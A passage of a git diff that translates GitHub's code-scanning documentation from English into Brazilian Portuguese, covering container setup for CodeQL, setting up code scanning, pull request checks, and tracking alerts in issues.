+Você pode ter dificuldade para executar {% data variables.product.prodname_code_scanning %} se o contêiner que você está usando estiver com certas dependências ausentes (por exemplo, o Git deve ser instalado e adicionado à variável PATH). Se você encontrar problemas de dependência, revise a lista de software geralmente incluída nos ambientes virtuais de {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte os arquivos de `readme` específicos da versão nesses locais:
 
 * Linux: https://github.com/actions/virtual-environments/tree/main/images/linux
 * macOS: https://github.com/actions/virtual-environments/tree/main/images/macos
 * Windows: https://github.com/actions/virtual-environments/tree/main/images/win
 
-## Example workflow
+## Exemplo de fluxo de trabalho
 
-This sample workflow uses {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_codeql %} analysis in a containerized environment. The value of `container.image` identifies the container to use. In this example the image is named `codeql-container`, with a tag of `f0f91db`. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)."
+Este fluxo de trabalho de amostra usa {% data variables.product.prodname_actions %} para executar a análise de {% data variables.product.prodname_codeql %} em um ambiente de contêiner. O valor do `container.image` identifica o contêiner a ser usado. Neste exemplo, a imagem é denominada `codeql-container`, com uma tag de `f0f91db`. Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)".
 
 ``` yaml
 name: "{% data variables.product.prodname_codeql %}"
diff --git a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md
index 49df6f9929..443862eb77 100644
--- a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md
+++ b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md
@@ -1,7 +1,7 @@
 ---
-title: Setting up code scanning for a repository
-shortTitle: Set up code scanning
-intro: 'You can set up {% data variables.product.prodname_code_scanning %} by adding a workflow to your repository.'
+title: Configurar a varredura de código para um repositório
+shortTitle: Configurar varredura de código
+intro: 'Você pode configurar {% data variables.product.prodname_code_scanning %} adicionando um fluxo de trabalho ao seu repositório.'
 product: '{% data reusables.gated-features.code-scanning %}'
 permissions: 'If you have write permissions to a repository, you can set up or configure {% data variables.product.prodname_code_scanning %} for that repository.'
 redirect_from:
@@ -27,137 +27,133 @@ topics:
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
 
-## Options for setting up {% data variables.product.prodname_code_scanning %}
+## Opções para configuração de {% data variables.product.prodname_code_scanning %}
 
-You decide how to generate {% data variables.product.prodname_code_scanning %} alerts, and which tools to use, at a repository level. {% data variables.product.product_name %} provides fully integrated support for {% data variables.product.prodname_codeql %} analysis, and also supports analysis using third-party tools. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning#about-tools-for-code-scanning)."
+Você decide como gerar alertas de {% data variables.product.prodname_code_scanning %} e quais ferramentas usar no nível de um repositório. O {% data variables.product.product_name %} fornece suporte totalmente integrado para a análise do {% data variables.product.prodname_codeql %} e também é compatível com ferramentas de análise usando ferramentas de terceiros. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning#about-tools-for-code-scanning)
 
 {% data reusables.code-scanning.enabling-options %}
 
 {% ifversion ghae %}
-## Prerequisites
+## Pré-requisitos
 
-Before setting up {% data variables.product.prodname_code_scanning %} for a repository, you must ensure that there is at least one self-hosted {% data variables.product.prodname_actions %} runner available to the repository. 
+Antes de configurar {% data variables.product.prodname_code_scanning %} para um repositório, você deverá garantir que haja pelo menos um executor de {% data variables.product.prodname_actions %} auto-hospedado disponível para o repositório.
 
-Enterprise owners, organization and repository administrators can add self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+Os proprietários da empresa, administradores de organização e repositórios podem adicionar executores auto-hospedados. Para obter mais informações, consulte "[Sobre executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)" e "[Adicionar executores auto-hospedados](/actions/hosting-your-own-runners/adding-self-hosted-runners)".
 {% endif %}
 
-## Setting up {% data variables.product.prodname_code_scanning %} using actions
+## Configurar {% data variables.product.prodname_code_scanning %} usando ações
 
-{% ifversion fpt or ghec %}Using actions to run {% data variables.product.prodname_code_scanning %} will use minutes. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."{% endif %}
+{% ifversion fpt or ghec %}Usando ações para executar {% data variables.product.prodname_code_scanning %} usará minutos. Para obter mais informações, consulte "[Sobre a cobrança do {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."{% endif %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
-1. To the right of "{% data variables.product.prodname_code_scanning_capc %} alerts", click **Set up {% data variables.product.prodname_code_scanning %}**. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}If {% data variables.product.prodname_code_scanning %} is missing, you need to ask an organization owner or repository administrator to enable {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" or "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %}
- !["Set up {% data variables.product.prodname_code_scanning %}" button to the right of "{% data variables.product.prodname_code_scanning_capc %}" in the Security Overview](/assets/images/help/security/overview-set-up-code-scanning.png)
-4. Under "Get started with {% data variables.product.prodname_code_scanning %}", click **Set up this workflow** on the {% data variables.product.prodname_codeql_workflow %} or on a third-party workflow. 
- !["Set up this workflow" button under "Get started with {% data variables.product.prodname_code_scanning %}" heading](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)Workflows are only displayed if they are relevant for the programming languages detected in the repository. The {% data variables.product.prodname_codeql_workflow %} is always displayed, but the "Set up this workflow" button is only enabled if {% data variables.product.prodname_codeql %} analysis supports the languages present in the repository.
-5. To customize how {% data variables.product.prodname_code_scanning %} scans your code, edit the workflow.
+1. À direita dos " alertas de {% data variables.product.prodname_code_scanning_capc %}", clique em **Configurar {% data variables.product.prodname_code_scanning %}**. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Se {% data variables.product.prodname_code_scanning %} está faltando, peça ao proprietário da organização ou administrador do repositório para habilitar {% data variables.product.prodname_GH_advanced_security %}. Para mais informações consulte "[Gerenciar as configurações de segurança e análise para a sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" ou "[Gerenciar as configurações de segurança e análise para o seu repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository).{% endif %} ![Botão "Configurar {% data variables.product.prodname_code_scanning %}" à direita de "{% data variables.product.prodname_code_scanning_capc %}" na Visão Geral de Segurança](/assets/images/help/security/overview-set-up-code-scanning.png)
+4. Em "Começar com {% data variables.product.prodname_code_scanning %}", clique em **Configurar este fluxo de trabalho** no {% data variables.product.prodname_codeql_workflow %} ou em um fluxo de trabalho de terceiros. !["Set up this workflow" button under "Get started with {% data variables.product.prodname_code_scanning %}" heading](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)Os fluxos de trabalho são exibidos apenas se forem relevantes para as linguagens de programação detectadas no repositório. O {% data variables.product.prodname_codeql_workflow %} é sempre exibido, mas o botão "Configurar este fluxo de trabalho" só é habilitado se a análise de {% data variables.product.prodname_codeql %} for compatível com as linguagens presentes no repositório.
+5. Para personalizar como {% data variables.product.prodname_code_scanning %} faz a varredura do seu código, edite o fluxo de trabalho.
 
-   Generally you can commit the {% data variables.product.prodname_codeql_workflow %} without making any changes to it. However, many of the third-party workflows require additional configuration, so read the comments in the workflow before committing.
+   Geralmente, você pode fazer commit do {% data variables.product.prodname_codeql_workflow %} sem fazer nenhuma alteração nele. No entanto, muitos dos fluxos de trabalho de terceiros exigem uma configuração adicional. Portanto, leia os comentários no fluxo de trabalho antes de fazer o commit.
 
-   For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)."
-6. Use the **Start commit** drop-down, and type a commit message.
- ![Start commit](/assets/images/help/repository/start-commit-commit-new-file.png)
-7. Choose whether you'd like to commit directly to the default branch, or create a new branch and start a pull request.
- ![Choose where to commit](/assets/images/help/repository/start-commit-choose-where-to-commit.png)
-8. Click **Commit new file** or **Propose new file**.
+   Para obter mais informações, consulte "[Configurando {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)."
+6. Use o menu suspenso **Iniciar commit** e digite uma mensagem de commit. ![Iniciar commit](/assets/images/help/repository/start-commit-commit-new-file.png)
+7. Escolha se você gostaria de fazer commit diretamente no branch-padrão ou criar um novo branch e iniciar um pull request. ![Escolher onde fazer commit](/assets/images/help/repository/start-commit-choose-where-to-commit.png)
+8. Clique em **Fazer commit do novo arquivo** ou **Propor novo arquivo**.
 
-In the default {% data variables.product.prodname_codeql_workflow %}, {% data variables.product.prodname_code_scanning %} is configured to analyze your code each time you either push a change to the default branch or any protected branches, or raise a pull request against the default branch. As a result, {% data variables.product.prodname_code_scanning %} will now commence.
+No {% data variables.product.prodname_codeql_workflow %} padrão, {% data variables.product.prodname_code_scanning %} está configurado para analisar o seu código cada vez que você fizer push de uma alteração no branch-padrão ou em qualquer branch protegido, ou criar um pull request contra o branch padrão. Como resultado, {% data variables.product.prodname_code_scanning %} vai começar agora.
 
-The `on:pull_request` and `on:push` triggers for code scanning are each useful for different purposes. For more information, see "[Scanning pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-pull-requests)" and "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)."
-## Bulk set up of {% data variables.product.prodname_code_scanning %} 
+Os gatilhos `on:pull_request` e `on:push` para digitalização de código são úteis para diferentes finalidades. Para obter mais informações, consulte "[Digitalizando pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-pull-requests)" e "[Digitalizando ao fazer push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)".
+## Configuração em massa de {% data variables.product.prodname_code_scanning %}
 
-You can set up {% data variables.product.prodname_code_scanning %} in many repositories at once using a script. If you'd like to use a script to raise pull requests that add a {% data variables.product.prodname_actions %} workflow to multiple repositories, see the [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) repository for an example using PowerShell, or [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement) for teams who do not have PowerShell and instead would like to use NodeJS. 
+Você pode configurar {% data variables.product.prodname_code_scanning %} em vários repositórios de uma vez usando um script. Se você desejar de usar um script para levantar pull requests que adicionam um fluxo de trabalho de {% data variables.product.prodname_actions %} a vários repositórios, consulte o repositório [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) para ver um exemplo usando PowerShell ou [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement) para equipes que não possuem PoweSshell e que gostariam de usar o NodeJS.
 
-## Viewing the logging output from {% data variables.product.prodname_code_scanning %}
+## Visualizar a saída do registro de {% data variables.product.prodname_code_scanning %}
 
-After setting up {% data variables.product.prodname_code_scanning %} for your repository, you can watch the output of the actions as they run.
+Depois de configurar o {% data variables.product.prodname_code_scanning %} para o seu repositório, você poderá inspecionar a saída das ações conforme forem executadas.
 
 {% data reusables.repositories.actions-tab %}
 
-  You'll see a list that includes an entry for running the {% data variables.product.prodname_code_scanning %} workflow. The text of the entry is the title you gave your commit message.
+  Você verá uma lista que inclui uma entrada para executar o fluxo de trabalho de {% data variables.product.prodname_code_scanning %}. O texto da entrada é o título que você deu à sua mensagem de commit.
 
-  ![Actions list showing {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-actions-list.png)
+  ![Lista de ações que mostram o fluxo de trabalho de {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-actions-list.png)
 
-1. Click the entry for the {% data variables.product.prodname_code_scanning %} workflow.
+1. Clique na entrada para o fluxo de trabalho de {% data variables.product.prodname_code_scanning %}.
 
-1. Click the job name on the left. For example, **Analyze (LANGUAGE)**.
+1. Clique no nome do trabalho à esquerda. Por exemplo, **Analise (LANGUAGE)**.
 
-  ![Log output from the {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-logging-analyze-action.png)
+  ![Saída do log do fluxo de trabalho de {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-logging-analyze-action.png)
 
-1. Review the logging output from the actions in this workflow as they run.
+1. Revise a saída de log das ações deste fluxo de trabalho enquanto elas são executadas.
 
-1. Once all jobs are complete, you can view the details of any {% data variables.product.prodname_code_scanning %} alerts that were identified. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
+1. Depois que todos os trabalhos forem concluídos, você poderá visualizar os as informações dos alertas de {% data variables.product.prodname_code_scanning %} que foram identificados. Para obter mais informações, consulte "[Gerenciar alertas de {% data variables.product.prodname_code_scanning %} para o seu repositório](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)".
 
 {% note %}
 
-**Note:** If you raised a pull request to add the {% data variables.product.prodname_code_scanning %} workflow to the repository, alerts from that pull request aren't displayed directly on the {% data variables.product.prodname_code_scanning_capc %} page until the pull request is merged. If any alerts were found you can view these, before the pull request is merged, by clicking the **_n_ alerts found** link in the banner on the {% data variables.product.prodname_code_scanning_capc %} page.
+**Observação:** Se você criou um pull request para adicionar o fluxo de trabalho de {% data variables.product.prodname_code_scanning %} ao repositório, os alertas desse pull request não serão exibidos diretamente na página de {% data variables.product.prodname_code_scanning_capc %} até que o pull request seja mesclado. Se algum alerta for encontrado, você poderá visualizá-los, antes do merge do pull request, clicando no link dos **_n_ alertas encontrados** no banner na página de {% data variables.product.prodname_code_scanning_capc %}.
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-  ![Click the "n alerts found" link](/assets/images/help/repository/code-scanning-alerts-found-link.png)
+  ![Clique no link "n alertas encontrados"](/assets/images/help/repository/code-scanning-alerts-found-link.png)
 {% else %}
-  ![Click the "n alerts found" link](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png)
+  ![Clique no link "n alertas encontrados"](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png)
 {% endif %}
 
 {% endnote %}
 
-## Understanding the pull request checks
+## Entendendo as verificações de pull request
 
-Each {% data variables.product.prodname_code_scanning %} workflow you set to run on pull requests always has at least two entries listed in the checks section of a pull request. There is one entry for each of the analysis jobs in the workflow, and a final one for the results of the analysis.
+Cada fluxo de trabalho de {% data variables.product.prodname_code_scanning %} que você configurar para ser executado em pull requests sempre terá pelo menos duas entradas listadas na seção de verificações de um pull request. Há uma entrada para cada um dos trabalhos de análise no fluxo de trabalho e uma entrada final para os resultados da análise.
 
-The names of the {% data variables.product.prodname_code_scanning %} analysis checks take the form: "TOOL NAME / JOB NAME (TRIGGER)." For example, for {% data variables.product.prodname_codeql %}, analysis of C++ code has the entry "{% data variables.product.prodname_codeql %} / Analyze (cpp) (pull_request)." You can click **Details** on a {% data variables.product.prodname_code_scanning %} analysis entry to see logging data. This allows you to debug a problem if the analysis job failed. For example, for {% data variables.product.prodname_code_scanning %} analysis of compiled languages, this can happen if the action can't build the code.
+Os nomes das verificações de análise de {% data variables.product.prodname_code_scanning %} assumem a forma: "TOOL NAME / JOB NAME (TRIGGER)." Por exemplo, para {% data variables.product.prodname_codeql %}, a análise do código C++ tem a entrada "{% data variables.product.prodname_codeql %} / Analyze (cpp) (pull_request)." Você pode clicar em **Detalhes** em uma entrada de análise de {% data variables.product.prodname_code_scanning %} para ver os dados de registro. Isso permite que você corrija um problema caso ocorra uma falha no trabalho de análise. Por exemplo, para a análise de {% data variables.product.prodname_code_scanning %} de linguagens compiladas, isto pode acontecer se a ação não puder criar o código.
 
-  ![{% data variables.product.prodname_code_scanning %} pull request checks](/assets/images/help/repository/code-scanning-pr-checks.png)
+  ![Verificações de pull request de {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-pr-checks.png)
 
-When the {% data variables.product.prodname_code_scanning %} jobs complete, {% data variables.product.prodname_dotcom %} works out whether any alerts were added by the pull request and adds the "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" entry to the list of checks. After {% data variables.product.prodname_code_scanning %} has been performed at least once, you can click **Details** to view the results of the analysis. If you used a pull request to add {% data variables.product.prodname_code_scanning %} to the repository, you will initially see {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %}an "Analysis not found"{% else %}a "Missing analysis"{% endif %} message when you click **Details** on the "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" check.
+Quando os trabalhos de {% data variables.product.prodname_code_scanning %} forem concluídos, {% data variables.product.prodname_dotcom %} calcula se quaisquer alertas foram adicionados pelo pull request e adiciona a entrada "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" à lista de verificações. Depois de {% data variables.product.prodname_code_scanning %} ser executado pelo menos uma vez, você poderá clicar em **Detalhes** para visualizar os resultados da análise. Se você usou um pull request para adicionar {% data variables.product.prodname_code_scanning %} ao repositório, inicialmente você verá uma mensagem de {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %} "Análise não encontrada"{% else %}"Análise ausente"{% endif %} ao clicar em **Detalhes** na verificação de "resultados de {% data variables.product.prodname_code_scanning_capc %} NOME DA FERRAMENTA.
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %}
-  ![Analysis not found for commit message](/assets/images/help/repository/code-scanning-analysis-not-found.png)
+  ![Análise não encontrada para mensagem de commit](/assets/images/help/repository/code-scanning-analysis-not-found.png)
 
-The table lists one or more categories. Each category relates to specific analyses, for the same tool and commit, performed on a different language or a different part of the code. For each category, the table shows the two analyses that {% data variables.product.prodname_code_scanning %} attempted to compare to determine which alerts were introduced or fixed in the pull request. 
+A tabela lista uma ou mais categorias. Cada categoria está relacionada a análises específicas, para a mesma ferramenta e commit, realizadas em uma linguagem diferente ou em uma parte diferente do código. Para cada categoria a tabela mostra as duas análises que {% data variables.product.prodname_code_scanning %} tentou comparar para determinar quais alertas foram introduzidos ou corrigidos no pull request.
 
-For example, in the screenshot above, {% data variables.product.prodname_code_scanning %} found an analysis for the merge commit of the pull request, but no analysis for the head of the main branch.
+Por exemplo, na captura de tela acima, {% data variables.product.prodname_code_scanning %} encontrou uma análise para o commit do merge do pull request, mas não há análise para o cabeçalho do branch principal.
 {% else %}
-  ![Missing analysis for commit message](/assets/images/enterprise/3.2/repository/code-scanning-missing-analysis.png)
+  ![Análise ausente para mensagem de commit](/assets/images/enterprise/3.2/repository/code-scanning-missing-analysis.png)
 {% endif %}
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %}
-### Reasons for the "Analysis not found" message
+### Motivos para a mensagem "Análise não encontrada"
 {% else %}
-### Reasons for the "Missing analysis" message
+### Motivos para a mensagem "Análise ausente"
 {% endif %}
 
-After {% data variables.product.prodname_code_scanning %} has analyzed the code in a pull request, it needs to compare the analysis of the topic branch (the branch you used to create the pull request) with the analysis of the base branch (the branch into which you want to merge the pull request). This allows {% data variables.product.prodname_code_scanning %} to compute which alerts are newly introduced by the pull request, which alerts were already present in the base branch, and whether any existing alerts are fixed by the changes in the pull request. Initially, if you use a pull request to add {% data variables.product.prodname_code_scanning %} to a repository, the base branch has not yet been analyzed, so it's not possible to compute these details. In this case, when you click through from the results check on the pull request you will see the {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %}"Analysis not found"{% else %}"Missing analysis for base commit SHA-HASH"{% endif %} message.
+Depois que {% data variables.product.prodname_code_scanning %} analisou o código em um pull request, ele precisa comparar a análise do branch de tópico (o branch que você usou para criar o pull request) com a análise do branch de base (o branch no qual você deseja mesclar o pull request). Isso permite que {% data variables.product.prodname_code_scanning %} calcule quais alertas foram recém-introduzidos pelo pull request, que alertas já estavam presentes no branch de base e se alguns alertas existentes são corrigidos pelas alterações no pull request. Inicialmente, se você usar um pull request para adicionar {% data variables.product.prodname_code_scanning %} a um repositório, o branch de base ainda não foi analisado. Portanto, não é possível computar esses detalhes. Neste caso, quando você clicar nos resultados verificando o pull request você verá a mensagem {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %}"Análise não encontrada"{% else %}"Análise ausente do commit base SHA-HASH"{% endif %}.
 
-There are other situations where there may be no analysis for the latest commit to the base branch for a pull request. These include:
+Há outras situações em que não pode haver análise para o último commit do branch de base para um pull request. Isso inclui:
 
-* The pull request has been raised against a branch other than the default branch, and this branch hasn't been analyzed.
+* O pull request foi levantado contra um branch diferente do branch padrão, e este branch não foi analisado.
 
-  To check whether a branch has been scanned, go to the {% data variables.product.prodname_code_scanning_capc %} page, click the **Branch** drop-down and select the relevant branch.
+  Para verificar se um branch foi verificado, acesse a página {% data variables.product.prodname_code_scanning_capc %}, clique no menu suspenso **Branch** e selecione o branch relevante.
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-  ![Choose a branch from the Branch drop-down menu](/assets/images/help/repository/code-scanning-branch-dropdown.png)
+  ![Escolha um branch no menu suspenso Branch](/assets/images/help/repository/code-scanning-branch-dropdown.png)
 {% else %}
-  ![Choose a branch from the Branch drop-down menu](/assets/images/enterprise/3.1/help/repository/code-scanning-branch-dropdown.png)
+  ![Escolha um branch no menu suspenso Branch](/assets/images/enterprise/3.1/help/repository/code-scanning-branch-dropdown.png)
 {% endif %}
 
-  The solution in this situation is to add the name of the base branch to the `on:push` and `on:pull_request` specification in the {% data variables.product.prodname_code_scanning %} workflow on that branch and then make a change that updates the open pull request that you want to scan.
+  A solução nesta situação é adicionar o nome do branch de base para a especificação `on:push` e `on:pull_request` no fluxo de trabalho de {% data variables.product.prodname_code_scanning %} nesse branch e, em seguida, fazer uma alteração que atualize o pull request aberto que você deseja escanear.
 
-* The latest commit on the base branch for the pull request is currently being analyzed and analysis is not yet available.
+* O último commit no branch de base para o pull request está atualmente sendo analisado e a análise ainda não está disponível.
 
-  Wait a few minutes and then push a change to the pull request to retrigger {% data variables.product.prodname_code_scanning %}.
+  Aguarde alguns minutos e depois faça push de uma alteração no pull request para acionar o recurso de {% data variables.product.prodname_code_scanning %}.
 
-* An error occurred while analyzing the latest commit on the base branch and analysis for that commit isn't available.
+* Ocorreu um erro ao analisar o último commit no branch base e a análise para esse commit não está disponível.
 
-  Merge a trivial change into the base branch to trigger {% data variables.product.prodname_code_scanning %} on this latest commit, then push a change to the pull request to retrigger {% data variables.product.prodname_code_scanning %}.
+  Faça merge uma mudança trivial no branch de base para acionar {% data variables.product.prodname_code_scanning %} neste commit mais recente e, em seguida, faça push de uma alteração para o pull request reiniciar {% data variables.product.prodname_code_scanning %}.
 
-## Next steps
+## Próximas etapas
 
-After setting up {% data variables.product.prodname_code_scanning %}, and allowing its actions to complete, you can:
+Após configurar a opção {% data variables.product.prodname_code_scanning %}, e permitir que suas ações sejam concluídas, você pode:
 
-- View all of the {% data variables.product.prodname_code_scanning %} alerts generated for this repository. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)."
-- View any alerts generated for a pull request submitted after you set up {% data variables.product.prodname_code_scanning %}. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)."
-- Set up notifications for completed runs. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#github-actions-notification-options)."
-- View the logs generated by the {% data variables.product.prodname_code_scanning %} analysis. For more information, see "[Viewing {% data variables.product.prodname_code_scanning %} logs](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs)."
-- Investigate any problems that occur with the initial setup of {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}. For more information, see "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)."
-- Customize how {% data variables.product.prodname_code_scanning %} scans the code in your repository. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)."
+- Visualizar todos os alertas de {% data variables.product.prodname_code_scanning %} gerados para este repositório. Para obter mais informações, consulte "[Gerenciar alertas de {% data variables.product.prodname_code_scanning %} para o seu repositório](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)".
+- Visualizar todos os alertas gerados para um pull request enviado após configurar {% data variables.product.prodname_code_scanning %}. Para obter mais informações, consulte "[Triar alertas de {% data variables.product.prodname_code_scanning %} em pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)".
+- Configurar notificações para execuções concluídas. Para obter mais informações, consulte “[Configurando notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#github-actions-notification-options)".
+- Visualizar os logs gerados pela análise do {% data variables.product.prodname_code_scanning %}. Para obter mais informações, consulte "[Visualizar registros de {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs)".
+- Investigue todos os problemas que ocorrerem com a configuração inicial de {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}. Para obter mais informações, consulte "[Solucionar problemas no fluxo de trabalho de {% data variables.product.prodname_codeql %}](/code-security/secure-coding/troubleshooting-the-codeql-workflow)".
+- Personalize como {% data variables.product.prodname_code_scanning %} faz a varredura de código no seu repositório. Para obter mais informações, consulte "[Configurando {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)."
diff --git a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md
index c1ea916c94..4cc299ead5 100644
--- a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md
+++ b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md
@@ -1,7 +1,7 @@
 ---
-title: Tracking code scanning alerts in issues using task lists
-shortTitle: Track alerts in issues
-intro: You can add code scanning alerts to issues using task lists. This makes it easy to create a plan for development work that includes fixing alerts.
+title: Rastreamento código de alerta em problemas que usam listas de tarefas
+shortTitle: Rastrear alertas em problemas
+intro: Você pode adicionar alertas de digitalização de código a problemas usando a lista de tarefas. Isto facilita a criação de um plano de trabalho de desenvolvimento que inclui a fixação de alertas.
 product: '{% data reusables.gated-features.code-scanning %}'
 permissions: 'If you have write permission to a repository you can track {% data variables.product.prodname_code_scanning %} alerts in issues using task lists.'
 versions:
@@ -19,64 +19,63 @@ topics:
 
 {% data reusables.code-scanning.beta-alert-tracking-in-issues %}
 
-## About tracking {% data variables.product.prodname_code_scanning %} alerts in issues
+## Sobre o rastreamento de alertas de {% data variables.product.prodname_code_scanning %} em problemas
 
 {% data reusables.code-scanning.github-issues-integration %}
 
-You can also create a new issue to track an alert:
-- From a {% data variables.product.prodname_code_scanning %} alert, which automatically adds the code scanning alert to a task list in the new issue. For more information, see "[Creating a tracking issue from a {% data variables.product.prodname_code_scanning %} alert](#creating-a-tracking-issue-from-a-code-scanning-alert)" below.
+Você também pode criar um novo problema para rastrear um alerta:
+- De um alerta de {% data variables.product.prodname_code_scanning %}, que adiciona automaticamente o alerta de digitalização de código a uma lista de tarefas no novo problema. Para obter mais informações, consulte "[Criando um problema de rastreamento a partir de um alerta de {% data variables.product.prodname_code_scanning %}](#creating-a-tracking-issue-from-a-code-scanning-alert)" abaixo.
 
-- Via the API as you normally would, and then provide the code scanning link within the body of the issue. You must use the task list syntax to create the tracked relationship: 
+- Através da API como você normalmente faria e, em seguida, fornecer o link de digitalização de código dentro do texto do problema. Você deve usar a sintaxe da lista de tarefas para criar o relacionamento rastreado:
    - `- [ ] <full-URL- to-the-code-scanning-alert>`
-   - For example, if you add `- [ ] https://github.com/octocat-org/octocat-repo/security/code-scanning/17` to an issue, the issue will track the code scanning alert that has an ID number of 17 in the "Security" tab of the `octocat-repo` repository in the `octocat-org` organization.
+   - Por exemplo, se você adiciionar `- [ ] https://github.com/octocat-org/octocat-repo/security/code-scanning/17` a um problema, este irá rastrear o alerta de digitalização de código que tem um número de identificação 17 na aba "Segurança" do repositório `octocat-repo` na organização `octocat-org`.
 
-You can use more than one issue to track the same {% data variables.product.prodname_code_scanning %} alert, and issues can belong to different repositories from the repository where the {% data variables.product.prodname_code_scanning %} alert was found.
